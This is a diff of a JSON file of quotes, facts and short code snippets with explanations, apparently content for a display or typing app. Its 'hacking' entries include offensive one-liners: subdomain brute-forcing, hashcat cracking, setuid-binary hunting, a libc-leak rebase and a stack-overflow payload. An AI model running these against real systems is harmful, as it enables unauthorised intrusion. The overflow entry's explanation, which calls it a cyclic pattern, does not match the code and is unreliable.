"explanation": "Prototype pollution: writing through __proto__ reaches every object that inherits from it." }, { - "category": "nature", - "content": "Mycorrhizal fungi form partnerships with the roots of most plants, helping them absorb water and nutrients in exchange for sugars produced by photosynthesis.", - "attribution": "Nature" + "category": "anime", + "content": "What I want more than anything is for you to live and help me live too.", + "attribution": "A Silent Voice" }, { - "category": "philosophy", - "content": "Every new beginning comes from some other beginning's end.", - "attribution": "Seneca, Letters from a Stoic" + "category": "programming", + "content": "for (int i = 0; i < n; i++) { sum += a[i] * b[i]; }", + "attribution": "C", + "language": "clike", + "explanation": "A dot product. The bound is < n, not <= n; off-by-one here reads past the end of the array." }, { - "category": "literature", - "content": "Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do. Once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it.", - "attribution": "Lewis Carroll, Alice's Adventures in Wonderland" + "category": "programming", + "content": "if err != nil { return fmt.Errorf(\"read config: %w\", err) }", + "attribution": "Go", + "language": "clike", + "explanation": "Go's error convention. %w wraps the original so errors.Is and errors.As can still see it further up." }, { "category": "science", - "content": "The theory of plate tectonics explains how the Earth's outer shell is broken into large plates that slowly drift over the mantle, causing earthquakes, volcanoes, and mountain formation.", + "content": "A black hole forms when a massive star collapses under its own gravity, packing so much mass into so small a space that not even light can escape its pull.", "attribution": "Science" }, { - "category": "history", - "content": "Ancient Egyptian civilization flourished along the Nile River for thousands of years, leaving behind monuments such as the pyramids of Giza and the temples of Luxor.", - "attribution": "History" + "category": "quotes", + "content": "The two most important days in your life are the day you are born and the day you find out why.", + "attribution": "Mark Twain" }, { - "category": "programming", - "content": "squares = [n * n for n in range(1, 21) if n % 3 != 0]", - "attribution": "Python", + "category": "quotes", + "content": "The only limit to our realization of tomorrow is our doubts of today.", + "attribution": "Franklin D. Roosevelt" + }, + { + "category": "hacking", + "content": "if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')", + "attribution": "Defence", "language": "python", - "explanation": "A list comprehension: the expression, the loop, then the filter. Faster and clearer than appending in a for loop." + "explanation": "Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing." + }, + { + "category": "quotes", + "content": "Failure is impossible.", + "attribution": "Susan B. Anthony" }, { "category": "general", - "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools.", + "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface.", "attribution": "General knowledge" }, + { + "category": "literature", + "content": "It was the best of times, it was the worst of times.", + "attribution": "Charles Dickens, A Tale of Two Cities" + }, { "category": "philosophy", "content": "A journey of a thousand miles begins with a single step.", "attribution": "Lao Tzu, Tao Te Ching" }, + { + "category": "science", + "content": "Vaccines work by training the immune system to recognize a weakened or partial version of a pathogen, so the body can respond quickly if it ever encounters the real threat.", + "attribution": "Science" + }, + { + "category": "business", + "content": "Return on investment measures the profitability of an investment relative to its cost, expressed as a percentage to make it easy to compare different opportunities.", + "attribution": "Business" + }, + { + "category": "philosophy", + "content": "The only true wisdom is in knowing you know nothing.", + "attribution": "Socrates" + }, + { + "category": "programming", + "content": "struct node { int value; struct node *next; };", + "attribution": "C", + "language": "clike", + "explanation": "A linked-list node. It refers to its own type through a pointer, which is legal because a pointer has a known size." + }, + { + "category": "quotes", + "content": "Genius is one percent inspiration and ninety-nine percent perspiration.", + "attribution": "Thomas Edison" + }, { "category": "programming", "content": "with open('data.csv', encoding='utf-8') as f: rows = [line.split(',') for line in f]", @@ -548,37 +613,62 @@ "language": "python", "explanation": "with closes the file even if the body raises. Iterating a file yields lines without loading it all into memory." }, + { + "category": "philosophy", + "content": "All men by nature desire to know.", + "attribution": "Aristotle, Metaphysics" + }, { "category": "technology", - "content": "Artificial intelligence refers to computer systems designed to perform tasks that normally require human intelligence, such as recognizing speech, images, or patterns in data.", + "content": "Fiber optic cables transmit data as pulses of light through thin strands of glass, allowing information to travel at extremely high speeds over long distances.", "attribution": "Technology" }, { - "category": "programming", - "content": "pub struct Point { pub x: f64, pub y: f64 }", - "attribution": "Rust", - "language": "rust", - "explanation": "Fields are private by default in Rust, so each one needs its own pub - making the struct public does not publish its contents." + "category": "movies", + "content": "Do. Or do not. There is no try.", + "attribution": "The Empire Strikes Back (1980)" }, { - "category": "history", - "content": "The Great Depression of the 1930s began with the stock market crash of 1929 and led to widespread unemployment and economic hardship across the globe.", - "attribution": "History" + "category": "general", + "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered.", + "attribution": "General knowledge" + }, + { + "category": "movies", + "content": "I'm as mad as hell, and I'm not going to take this anymore.", + "attribution": "Network (1976)" }, { "category": "philosophy", - "content": "I think, therefore I am.", - "attribution": "Rene Descartes, Discourse on the Method" + "content": "The impediment to action advances action. What stands in the way becomes the way.", + "attribution": "Marcus Aurelius, Meditations" }, { - "category": "movies", - "content": "It's only after we've lost everything that we're free to do anything.", - "attribution": "Fight Club (1999)" + "category": "science", + "content": "DNA carries the genetic instructions for every living organism, encoded in a sequence of four chemical bases that pair together to form the famous double helix shape.", + "attribution": "Science" }, { "category": "literature", - "content": "All we have to decide is what to do with the time that is given us.", - "attribution": "J.R.R. Tolkien, The Fellowship of the Ring" + "content": "You don't know about me without you have read a book by the name of The Adventures of Tom Sawyer, but that ain't no matter. That book was made by Mr. Mark Twain, and he told the truth, mainly.", + "attribution": "Mark Twain, Adventures of Huckleberry Finn" + }, + { + "category": "programming", + "content": "counts = {word: text.count(word) for word in set(text.split())}", + "attribution": "Python", + "language": "python", + "explanation": "A dict comprehension. Note it is quadratic: count rescans the whole string per word. collections.Counter is the right tool." + }, + { + "category": "business", + "content": "Branding is the practice of shaping how customers perceive a company, going beyond a logo to include tone, values, and the overall experience of using a product.", + "attribution": "Business" + }, + { + "category": "quotes", + "content": "That man over there says that women need to be helped into carriages, and lifted over ditches, and to have the best place everywhere. Nobody ever helps me into carriages, or over mud puddles, or gives me any best place, and ain't I a woman?", + "attribution": "Sojourner Truth, Ain't I a Woman?" }, { "category": "nature", @@ -586,535 +676,601 @@ "attribution": "Nature" }, { - "category": "nature", - "content": "A single mature tree can absorb around twenty two kilograms of carbon dioxide per year, making forests an important part of regulating the planet's climate.", - "attribution": "Nature" + "category": "history", + "content": "The Cold War divided much of the world into two opposing blocs for nearly half a century, one aligned with the United States and the other with the Soviet Union.", + "attribution": "History" + }, + { + "category": "philosophy", + "content": "The beginning is the most important part of the work.", + "attribution": "Plato, The Republic" + }, + { + "category": "general", + "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia.", + "attribution": "General knowledge" }, { "category": "movies", - "content": "If you build it, he will come.", - "attribution": "Field of Dreams (1989)" + "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt.", + "attribution": "Interstellar (2014)" }, { - "category": "quotes", - "content": "The two most important days in your life are the day you are born and the day you find out why.", - "attribution": "Mark Twain" + "category": "history", + "content": "Ancient Egyptian civilization flourished along the Nile River for thousands of years, leaving behind monuments such as the pyramids of Giza and the temples of Luxor.", + "attribution": "History" + }, + { + "category": "science", + "content": "Water is one of the few substances that becomes less dense as it freezes, which is why ice floats on top of liquid water instead of sinking to the bottom.", + "attribution": "Science" + }, + { + "category": "history", + "content": "The Wright brothers achieved the first powered, controlled flight in 1903 near Kitty Hawk, North Carolina, a flight that lasted only twelve seconds.", + "attribution": "History" + }, + { + "category": "business", + "content": "A monopoly exists when a single company dominates an entire market with no significant competition, often leading regulators to intervene to protect consumers.", + "attribution": "Business" + }, + { + "category": "anime", + "content": "Even if you can't see it, the river keeps flowing under the ice.", + "attribution": "March Comes in Like a Lion" }, { "category": "movies", - "content": "All we have to decide is what to do with the time that is given us.", - "attribution": "The Lord of the Rings: The Fellowship of the Ring (2001)" + "content": "It's only after we've lost everything that we're free to do anything.", + "attribution": "Fight Club (1999)" }, { "category": "literature", - "content": "The Nellie, a cruising yawl, swung to her anchor without a flutter of the sails, and was at rest. The flood had made, the wind was nearly calm, and being bound down the river, the only thing for it was to come to and wait for the turn of the tide.", - "attribution": "Joseph Conrad, Heart of Darkness" + "content": "It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife. However little known the feelings or views of such a man may be on his first entering a neighbourhood, this truth is so well fixed in the minds of the surrounding families.", + "attribution": "Jane Austen, Pride and Prejudice" + }, + { + "category": "philosophy", + "content": "It is not that we have a short time to live, but that we waste a lot of it.", + "attribution": "Seneca, On the Shortness of Life" }, { "category": "general", - "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later.", + "content": "The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible.", "attribution": "General knowledge" }, { - "category": "history", - "content": "The Industrial Revolution transformed economies across Europe and North America during the eighteenth and nineteenth centuries, shifting production from hand tools to machines.", - "attribution": "History" + "category": "programming", + "content": "pub struct Point { pub x: f64, pub y: f64 }", + "attribution": "Rust", + "language": "rust", + "explanation": "Fields are private by default in Rust, so each one needs its own pub - making the struct public does not publish its contents." }, { "category": "anime", - "content": "Humankind cannot gain anything without first giving something in return. To obtain, something of equal value must be lost.", - "attribution": "Fullmetal Alchemist" + "content": "This world is rotten, and those who are making it rot deserve to die.", + "attribution": "Death Note" }, { - "category": "programming", - "content": "export async function load(url) { const res = await fetch(url); return res.json(); }", - "attribution": "JavaScript", - "language": "javascript", - "explanation": "fetch resolves as soon as headers arrive, so .json() is a second await for the body. It does not throw on a 404 - check res.ok." + "category": "technology", + "content": "Robotics combines mechanical engineering, electronics, and computer science to design machines capable of performing tasks autonomously or with minimal human control.", + "attribution": "Technology" }, { "category": "programming", - "content": "grep -rn \"TODO\" src/ | awk -F: '{print $1}' | sort -u", - "attribution": "Shell", - "language": "shell", - "explanation": "grep -n prints file:line:text, awk splits on the colon to take the filename, sort -u removes the duplicates." + "content": "const unique = [...new Set(values)].sort((a, b) => a - b);", + "attribution": "JavaScript", + "language": "javascript", + "explanation": "A Set discards duplicates. Spreading it back to an array allows sorting; the comparator is required or numbers sort as text." }, { "category": "science", - "content": "A black hole forms when a massive star collapses under its own gravity, packing so much mass into so small a space that not even light can escape its pull.", + "content": "Newton's first law of motion states that an object at rest stays at rest, and an object in motion stays in motion, unless acted on by an outside force.", "attribution": "Science" }, { "category": "literature", - "content": "1801. I have just returned from a visit to my landlord, the solitary neighbour that I shall be troubled with. This is certainly a beautiful country. In all England, I do not believe that I could have fixed on a situation so completely removed from the stir of society.", - "attribution": "Emily Bronte, Wuthering Heights" + "content": "Buck did not read the newspapers, or he would have known that trouble was brewing, not alone for himself, but for every tide-water dog, strong of muscle and with warm, long hair, from Puget Sound to San Diego.", + "attribution": "Jack London, The Call of the Wild" }, { - "category": "literature", - "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world.", - "attribution": "Herman Melville, Moby-Dick" + "category": "hacking", + "content": "gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40", + "attribution": "Recon", + "language": "shell", + "explanation": "Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live." }, { - "category": "business", - "content": "The purpose of a business is to create and keep a customer.", - "attribution": "Peter Drucker" + "category": "nature", + "content": "The deepest part of the ocean, the Mariana Trench, plunges nearly eleven kilometers below the surface, deeper than Mount Everest is tall.", + "attribution": "Nature" }, { - "category": "anime", - "content": "When you look at someone's kindness, it's like looking at the sun.", - "attribution": "Fruits Basket" + "category": "science", + "content": "The periodic table arranges chemical elements by increasing atomic number, grouping elements with similar properties into the same columns.", + "attribution": "Science" }, { - "category": "literature", - "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning, but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating.", - "attribution": "Charlotte Bronte, Jane Eyre" + "category": "nature", + "content": "Deserts are defined by low precipitation rather than temperature, which is why some of the coldest places on Earth, including parts of Antarctica, are technically deserts.", + "attribution": "Nature" }, { - "category": "literature", - "content": "Christmas won't be Christmas without any presents, grumbled Jo, lying on the rug. It's so dreadful to be poor, sighed Meg, looking down at her old dress.", - "attribution": "Louisa May Alcott, Little Women" + "category": "nature", + "content": "In every walk with nature one receives far more than he seeks.", + "attribution": "John Muir" }, { - "category": "anime", - "content": "When people are protecting something truly special to them, they truly can become as strong as they can be.", - "attribution": "Naruto" + "category": "movies", + "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get.", + "attribution": "Forrest Gump (1994)" }, { - "category": "science", - "content": "Vaccines work by training the immune system to recognize a weakened or partial version of a pathogen, so the body can respond quickly if it ever encounters the real threat.", - "attribution": "Science" + "category": "technology", + "content": "A blockchain is a distributed ledger that records transactions across many computers, making it difficult to alter any single record without changing every subsequent block.", + "attribution": "Technology" }, { - "category": "literature", - "content": "The studio was filled with the rich odour of roses, and when the light summer wind stirred amidst the trees of the garden, there came through the open door the heavy scent of the lilac, or the more delicate perfume of the pink-flowering thorn.", - "attribution": "Oscar Wilde, The Picture of Dorian Gray" + "category": "movies", + "content": "If you build it, he will come.", + "attribution": "Field of Dreams (1989)" }, { - "category": "quotes", - "content": "Genius is one percent inspiration and ninety-nine percent perspiration.", - "attribution": "Thomas Edison" + "category": "hacking", + "content": "hashcat -m 0 -a 0 hashes.txt rockyou.txt --force", + "attribution": "Crypto", + "language": "shell", + "explanation": "An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years." }, { - "category": "technology", - "content": "A virtual private network encrypts a device's internet connection, helping to protect data from being intercepted while it travels over a public or untrusted network.", - "attribution": "Technology" + "category": "anime", + "content": "When do you think people die? When they are forgotten.", + "attribution": "One Piece" }, { "category": "general", - "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface.", + "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone.", "attribution": "General knowledge" }, { - "category": "movies", - "content": "Of all the gin joints in all the towns in all the world, she walks into mine.", - "attribution": "Casablanca (1942)" + "category": "hacking", + "content": "libc.address = leak - libc.symbols['puts']", + "attribution": "Exploit dev", + "language": "python", + "explanation": "Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated." }, { - "category": "movies", - "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get.", - "attribution": "Forrest Gump (1994)" + "category": "history", + "content": "The printing press, developed by Johannes Gutenberg in the fifteenth century, made it possible to produce books far more quickly and cheaply than copying them by hand.", + "attribution": "History" + }, + { + "category": "programming", + "content": "const { id, name = 'anonymous', ...rest } = await request.json();", + "attribution": "JavaScript", + "language": "javascript", + "explanation": "Destructuring with a default and a rest property. The default applies only when the value is undefined, not when it is null." }, { "category": "anime", - "content": "Once you've met someone, you never really forget them.", - "attribution": "Spirited Away" + "content": "The only ones who should kill are those who are prepared to be killed.", + "attribution": "Code Geass" }, { - "category": "movies", - "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.", - "attribution": "The Silence of the Lambs (1991)" + "category": "business", + "content": "The man who dies rich, dies disgraced.", + "attribution": "Andrew Carnegie" }, { - "category": "philosophy", - "content": "It does not matter how slowly you go as long as you do not stop.", - "attribution": "Confucius, Analects" + "category": "general", + "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later.", + "attribution": "General knowledge" }, { - "category": "literature", - "content": "To Sherlock Holmes she is always the woman. I have seldom heard him mention her under any other name. In his eyes she eclipses and predominates the whole of her sex.", - "attribution": "Arthur Conan Doyle, A Scandal in Bohemia" + "category": "movies", + "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist.", + "attribution": "The Usual Suspects (1995)" }, { "category": "literature", - "content": "Buck did not read the newspapers, or he would have known that trouble was brewing, not alone for himself, but for every tide-water dog, strong of muscle and with warm, long hair, from Puget Sound to San Diego.", - "attribution": "Jack London, The Call of the Wild" + "content": "To Sherlock Holmes she is always the woman. I have seldom heard him mention her under any other name. In his eyes she eclipses and predominates the whole of her sex.", + "attribution": "Arthur Conan Doyle, A Scandal in Bohemia" }, { - "category": "general", - "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface.", - "attribution": "General knowledge" + "category": "technology", + "content": "The transistor, invented in 1947, replaced bulky vacuum tubes and became the foundational building block of nearly every modern electronic device.", + "attribution": "Technology" }, { - "category": "anime", - "content": "The only thing we're allowed to do is to believe that we won't regret the choice we made.", - "attribution": "Attack on Titan" + "category": "literature", + "content": "1801. I have just returned from a visit to my landlord, the solitary neighbour that I shall be troubled with. This is certainly a beautiful country. In all England, I do not believe that I could have fixed on a situation so completely removed from the stir of society.", + "attribution": "Emily Bronte, Wuthering Heights" }, { "category": "anime", - "content": "The only ones who should kill are those who are prepared to be killed.", - "attribution": "Code Geass" + "content": "You should enjoy the little detours to the fullest, because that's where you'll find the things more important than what you want.", + "attribution": "Hunter x Hunter" }, { - "category": "literature", - "content": "It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife. However little known the feelings or views of such a man may be on his first entering a neighbourhood, this truth is so well fixed in the minds of the surrounding families.", - "attribution": "Jane Austen, Pride and Prejudice" + "category": "business", + "content": "A balance sheet summarizes what a company owns and owes at a single point in time, split into assets, liabilities, and shareholders' equity.", + "attribution": "Business" }, { - "category": "nature", - "content": "Rivers shape the landscape around them over thousands of years, carving canyons and depositing sediment that forms fertile floodplains.", - "attribution": "Nature" + "category": "hacking", + "content": "find / -perm -4000 -type f 2>/dev/null", + "attribution": "Post-exploitation", + "language": "shell", + "explanation": "Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it." }, { - "category": "technology", - "content": "A central processing unit executes the instructions of a computer program by performing basic arithmetic, logic, and input and output operations.", - "attribution": "Technology" + "category": "movies", + "content": "I'm gonna make him an offer he can't refuse.", + "attribution": "The Godfather (1972)" }, { - "category": "philosophy", - "content": "The impediment to action advances action. What stands in the way becomes the way.", - "attribution": "Marcus Aurelius, Meditations" + "category": "literature", + "content": "Not all those who wander are lost.", + "attribution": "J.R.R. Tolkien" }, { - "category": "literature", - "content": "Mr. Sherlock Holmes, who was usually very late in the mornings, save upon those not infrequent occasions when he was up all night, was seated at the breakfast table.", - "attribution": "Arthur Conan Doyle, The Hound of the Baskervilles" + "category": "nature", + "content": "Mycorrhizal fungi form partnerships with the roots of most plants, helping them absorb water and nutrients in exchange for sugars produced by photosynthesis.", + "attribution": "Nature" }, { - "category": "anime", - "content": "Trees and people used to be good friends.", - "attribution": "My Neighbor Totoro" + "category": "quotes", + "content": "Stay hungry, stay foolish.", + "attribution": "Steve Jobs" + }, + { + "category": "movies", + "content": "You mustn't be afraid to dream a little bigger, darling.", + "attribution": "Inception (2010)" }, { "category": "programming", - "content": "struct node { int value; struct node *next; };", - "attribution": "C", - "language": "clike", - "explanation": "A linked-list node. It refers to its own type through a pointer, which is legal because a pointer has a known size." + "content": "grep -rn \"TODO\" src/ | awk -F: '{print $1}' | sort -u", + "attribution": "Shell", + "language": "shell", + "explanation": "grep -n prints file:line:text, awk splits on the colon to take the filename, sort -u removes the duplicates." }, { - "category": "nature", - "content": "The world is big and I want to have a good look at it before it gets dark.", - "attribution": "John Muir" + "category": "philosophy", + "content": "I think, therefore I am.", + "attribution": "Rene Descartes, Discourse on the Method" }, { "category": "anime", - "content": "Don't be afraid of things you don't understand. Just accept them as they are.", - "attribution": "Mushishi" + "content": "If everyone is not special, maybe you can be what you want to be.", + "attribution": "Mob Psycho 100" }, { - "category": "philosophy", - "content": "Waste no more time arguing about what a good man should be. Be one.", + "category": "quotes", + "content": "You have power over your mind, not outside events. Realize this, and you will find strength.", "attribution": "Marcus Aurelius, Meditations" }, - { - "category": "programming", - "content": "let total: i64 = values.iter().filter(|v| **v > 0).sum();", - "attribution": "Rust", - "language": "rust", - "explanation": "iter() borrows rather than consuming. The double deref is because filter hands you a reference to the iterator's own reference." - }, { "category": "nature", "content": "Migratory birds can travel thousands of miles between breeding and wintering grounds, navigating using the sun, stars, and the Earth's magnetic field.", "attribution": "Nature" }, { - "category": "quotes", - "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.", - "attribution": "Abraham Lincoln, The Gettysburg Address" + "category": "anime", + "content": "Overspecialize, and you breed in weakness. It's slow death.", + "attribution": "Ghost in the Shell" }, { - "category": "business", - "content": "The man who dies rich, dies disgraced.", - "attribution": "Andrew Carnegie" + "category": "movies", + "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should.", + "attribution": "Jurassic Park (1993)" }, { - "category": "quotes", - "content": "To be great is to be misunderstood.", - "attribution": "Ralph Waldo Emerson, Self-Reliance" + "category": "general", + "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size.", + "attribution": "General knowledge" }, { - "category": "programming", - "content": "public static void main(String[] args) { System.out.println(\"ready\"); }", - "attribution": "Java", - "language": "clike", - "explanation": "Java's entry point. The signature is fixed: static so it runs without an instance, and taking the command-line arguments." + "category": "literature", + "content": "The Time Traveller, for so it will be convenient to speak of him, was expounding a recondite matter to us. His grey eyes shone and twinkled, and his usually pale face was flushed and animated.", + "attribution": "H.G. Wells, The Time Machine" }, { - "category": "programming", - "content": "for f in *.log; do gzip -9 \"$f\" && echo \"packed $f\"; done", - "attribution": "Shell", - "language": "shell", - "explanation": "The quotes around $f matter: without them a filename containing a space becomes two arguments." + "category": "business", + "content": "A startup's burn rate measures how quickly it spends its available cash, an important number for founders trying to plan how long the company can operate before running out of money.", + "attribution": "Business" }, { "category": "general", - "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia.", + "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat.", "attribution": "General knowledge" }, { - "category": "business", - "content": "A startup's burn rate measures how quickly it spends its available cash, an important number for founders trying to plan how long the company can operate before running out of money.", - "attribution": "Business" + "category": "science", + "content": "Sound travels as a wave of pressure through a medium such as air or water, and it cannot travel through the vacuum of space, since there are no particles to carry the vibration.", + "attribution": "Science" }, { - "category": "nature", - "content": "Heaven is under our feet as well as over our heads.", - "attribution": "Henry David Thoreau, Walden" + "category": "anime", + "content": "If you win, you live. If you lose, you die. If you don't fight, you can't win.", + "attribution": "Attack on Titan" }, { - "category": "technology", - "content": "Quantum computing uses the principles of quantum mechanics to process information in ways that classical computers cannot, potentially solving certain problems far faster.", - "attribution": "Technology" + "category": "movies", + "content": "Get busy living, or get busy dying.", + "attribution": "The Shawshank Redemption (1994)" + }, + { + "category": "hacking", + "content": "curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u", + "attribution": "Recon", + "language": "shell", + "explanation": "Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints." }, { "category": "programming", - "content": "for i, v := range items { fmt.Printf(\"%d: %v\\n\", i, v) }", - "attribution": "Go", + "content": "public static void main(String[] args) { System.out.println(\"ready\"); }", + "attribution": "Java", "language": "clike", - "explanation": "range yields index and value. In Go before 1.22 the loop variable was reused each iteration, which surprised anyone capturing it in a closure." + "explanation": "Java's entry point. The signature is fixed: static so it runs without an instance, and taking the command-line arguments." }, { - "category": "nature", - "content": "Wolves live and hunt in structured packs, usually led by a breeding pair, and communicate through howls that can be heard for several kilometers.", - "attribution": "Nature" + "category": "programming", + "content": "export async function load(url) { const res = await fetch(url); return res.json(); }", + "attribution": "JavaScript", + "language": "javascript", + "explanation": "fetch resolves as soon as headers arrive, so .json() is a second await for the body. It does not throw on a 404 - check res.ok." }, { "category": "nature", - "content": "Coral reefs cover less than one percent of the ocean floor, yet they support roughly a quarter of all marine species.", + "content": "Wolves live and hunt in structured packs, usually led by a breeding pair, and communicate through howls that can be heard for several kilometers.", "attribution": "Nature" }, - { - "category": "movies", - "content": "Louis, I think this is the beginning of a beautiful friendship.", - "attribution": "Casablanca (1942)" - }, { "category": "history", - "content": "The fall of the Berlin Wall in 1989 marked a turning point in the Cold War, as East and West Germany moved toward reunification the following year.", + "content": "The Apollo 11 mission landed the first humans on the Moon in July of 1969, when astronauts Neil Armstrong and Buzz Aldrin walked on the lunar surface.", "attribution": "History" }, { - "category": "business", - "content": "Cash flow tracks the actual movement of money into and out of a business, which can differ significantly from reported profit due to timing differences in payments.", - "attribution": "Business" + "category": "movies", + "content": "I am big. It's the pictures that got small.", + "attribution": "Sunset Boulevard (1950)" }, { - "category": "quotes", - "content": "Our greatest glory is not in never falling, but in rising every time we fall.", - "attribution": "Confucius" + "category": "hacking", + "content": "payload = b'A' * 72 + p64(0x401196) + p64(win_addr)", + "attribution": "Exploit dev", + "language": "python", + "explanation": "A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address." }, { - "category": "philosophy", - "content": "All men by nature desire to know.", - "attribution": "Aristotle, Metaphysics" + "category": "literature", + "content": "The studio was filled with the rich odour of roses, and when the light summer wind stirred amidst the trees of the garden, there came through the open door the heavy scent of the lilac, or the more delicate perfume of the pink-flowering thorn.", + "attribution": "Oscar Wilde, The Picture of Dorian Gray" }, { - "category": "general", - "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity.", - "attribution": "General knowledge" + "category": "programming", + "content": "if (typeof value !== 'string' || value.length === 0) { return null; }", + "attribution": "JavaScript", + "language": "javascript", + "explanation": "A guard clause: reject the bad input first and return, instead of nesting the real work inside an if." }, { - "category": "literature", - "content": "My father's family name being Pirrip, and my Christian name Philip, my infant tongue could make of both names nothing longer or more explicit than Pip. So, I called myself Pip, and came to be called Pip.", - "attribution": "Charles Dickens, Great Expectations" + "category": "business", + "content": "Price is what you pay, and value is what you get.", + "attribution": "Warren Buffett" }, { - "category": "programming", - "content": "counts = {word: text.count(word) for word in set(text.split())}", - "attribution": "Python", - "language": "python", - "explanation": "A dict comprehension. Note it is quadratic: count rescans the whole string per word. collections.Counter is the right tool." + "category": "technology", + "content": "The first practical smartphones combined a mobile phone with computing features such as email, web browsing, and applications, changing how people communicate and work.", + "attribution": "Technology" + }, + { + "category": "business", + "content": "A merger combines two companies into one, while an acquisition occurs when one company purchases and absorbs another, though the two terms are often used loosely in everyday conversation.", + "attribution": "Business" }, { "category": "general", - "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered.", - "attribution": "General knowledge" + "content": "The quick brown fox jumps over the lazy dog.", + "attribution": "Traditional pangram" }, { - "category": "quotes", - "content": "Whatever you are, be a good one.", - "attribution": "Abraham Lincoln" + "category": "movies", + "content": "With great power comes great responsibility.", + "attribution": "Spider-Man (2002)" }, { - "category": "programming", - "content": "let mut counts: HashMap = HashMap::new();", - "attribution": "Rust", - "language": "rust", - "explanation": "mut because inserting mutates it. The type annotation is needed here since nothing yet tells the compiler what it holds." + "category": "movies", + "content": "What we do in life echoes in eternity.", + "attribution": "Gladiator (2000)" }, { - "category": "history", - "content": "The Roman Empire at its height stretched from Britain in the north to Egypt in the south, connected by a vast network of roads that still exist in parts of Europe today.", - "attribution": "History" + "category": "movies", + "content": "Toto, I've a feeling we're not in Kansas anymore.", + "attribution": "The Wizard of Oz (1939)" }, { - "category": "general", - "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun.", - "attribution": "General knowledge" + "category": "technology", + "content": "The World Wide Web was invented by Tim Berners-Lee in 1989 as a way to share documents over the internet using hyperlinks.", + "attribution": "Technology" }, { - "category": "nature", - "content": "In every walk with nature one receives far more than he seeks.", - "attribution": "John Muir" + "category": "quotes", + "content": "If I have seen further, it is by standing on the shoulders of giants.", + "attribution": "Isaac Newton" }, { "category": "anime", - "content": "I feel like I'm always searching for someone, or something.", - "attribution": "Your Name" + "content": "A lesson without pain is meaningless. That's because you cannot gain something without sacrificing something else in return.", + "attribution": "Fullmetal Alchemist" }, { - "category": "movies", - "content": "What we do in life echoes in eternity.", - "attribution": "Gladiator (2000)" + "category": "technology", + "content": "A firewall monitors and controls incoming and outgoing network traffic based on predetermined security rules, acting as a barrier between a trusted network and an untrusted one.", + "attribution": "Technology" + }, + { + "category": "technology", + "content": "A virtual private network encrypts a device's internet connection, helping to protect data from being intercepted while it travels over a public or untrusted network.", + "attribution": "Technology" + }, + { + "category": "programming", + "content": "let total: i64 = values.iter().filter(|v| **v > 0).sum();", + "attribution": "Rust", + "language": "rust", + "explanation": "iter() borrows rather than consuming. The double deref is because filter hands you a reference to the iterator's own reference." }, { - "category": "movies", - "content": "Do. Or do not. There is no try.", - "attribution": "The Empire Strikes Back (1980)" + "category": "science", + "content": "Marie Curie remains the only person to win Nobel Prizes in two different sciences, physics and chemistry, for her pioneering research into radioactivity.", + "attribution": "Science" }, { - "category": "anime", - "content": "Anywhere can be paradise as long as you have the will to live.", - "attribution": "Neon Genesis Evangelion" + "category": "technology", + "content": "Cloud computing allows businesses and individuals to rent computing power and storage over the internet instead of maintaining their own physical servers.", + "attribution": "Technology" }, { "category": "anime", - "content": "If everyone is not special, maybe you can be what you want to be.", - "attribution": "Mob Psycho 100" + "content": "Trees and people used to be good friends.", + "attribution": "My Neighbor Totoro" }, 